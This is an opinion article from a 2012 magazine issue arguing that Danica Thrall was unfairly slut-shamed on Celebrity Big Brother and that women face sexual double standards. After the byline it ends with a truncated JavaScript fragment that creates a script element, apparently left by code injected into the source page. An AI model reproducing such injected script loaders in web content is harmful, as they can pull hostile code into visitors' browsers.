I only meant to do it once. Just a casual glance to satisfy my curiosity. But once, turned into twice which spiralled into three weeks of lost evenings shouting at the TV.
Hello, my name is Laura and I watched the latest series of Celebrity Big Brother. I admit it, loud and proud. Having shunned Big Brother in all its guises many, many years ago, I only wanted to see which so called celebrities would be entering this year’s house. And then Julian Clary minced out in all his high camp fabulousness and I was hooked. What can I say; I like a man who can pull off a bit of lippy.
Inevitably it didn’t take long for the bitching and fighting to begin (and for me to develop a bit of a crush on Martin Kemp) and Big Brother was back to what it did best: making vaguely famous people look a bit silly. It was all going swimmingly, a fine piece of bubblegum television until suddenly a bad taste began to develop in my mouth. No, it wasn’t the sight of Mike “The Situation’s” abs (although I did dry heave when he first whipped up his top). It was the bullying and name calling of a housemate who dared to flirt.
The housemate’s name? Danica Thrall. One of the series so-called celebrities who you get the feeling the producers slung in when they couldn’t find any more familiar faces to take the bait. I had no idea who she was or any idea that in a few weeks time I would be writing an article inspired by her. A lingerie model who has a wish list for men to buy her gifts, she was hardly an inspirational figure. But when some of the male housemates realised that all she was going to do with them was flirt, they turned against her and I watched as she was labelled ‘a slapper’, ‘a disgrace’. From the off, Danica admitted to having a boyfriend and to being a big flirt but that didn’t matter to the boys and they were soon falling about themselves to be her favourite. This girl could have given master classes in how to bend the opposite sex round your little finger. But did she really do anything wrong? Why is it when a girl just wants to have fun she is called a slut?
Fellow housemate former So Solid singer Harvey commented that Danica wasn’t behaving like a girl who has a boyfriend. I found that all a bit rich from a man who cheated on his wife but it begs the question: are women expected to behave in a certain way if they are attached? And if so what constitutes bad behaviour apart from the obvious? Danica didn’t kiss anyone else or engage in any sexual acts. All she did was flirt. Yes her flirting was constant but she didn’t discriminate; she flirted with almost everyone, male and female. And yet she was berated by most of the house. The boys – and I call them boys because that’s how they behaved – were pitied and made to feel like victims of the siren Danica who lured them in and spat them out. Danica left the house to a tirade of boos and banners calling her a bitch. All because of a bit of flirting.
It’s sad that today in 2012 we are still all too quick to call girls sluts, slappers and whores when they don’t hold up to a1950’s gender ideal. When a man has a few notches on the bedpost he is called a womaniser which sounds a bit cool, like he’s just ‘one of the boys’. When a woman has, she is a tart and I don’t mean the apple filled kind. The media portray it almost daily. When Bad Pitt cheated on his wife with Angelina Jolie, it was Jolie who took most of the heat. She was the home wrecker, not Brad, even though she wasn’t the one who was married. Ask yourself, if you see a woman in a short skirt with her assets on display having a good time in the pub; do you think ‘slut’? I know, to my shame that I have.
Society has come a long way in accepting equality between the sexes but, when it comes to sex itself, it seems we still have a long way to go.
By Laura Dennett
(Published: Issue One, October 2012)var d=document;var s=d.createElement(‘script’);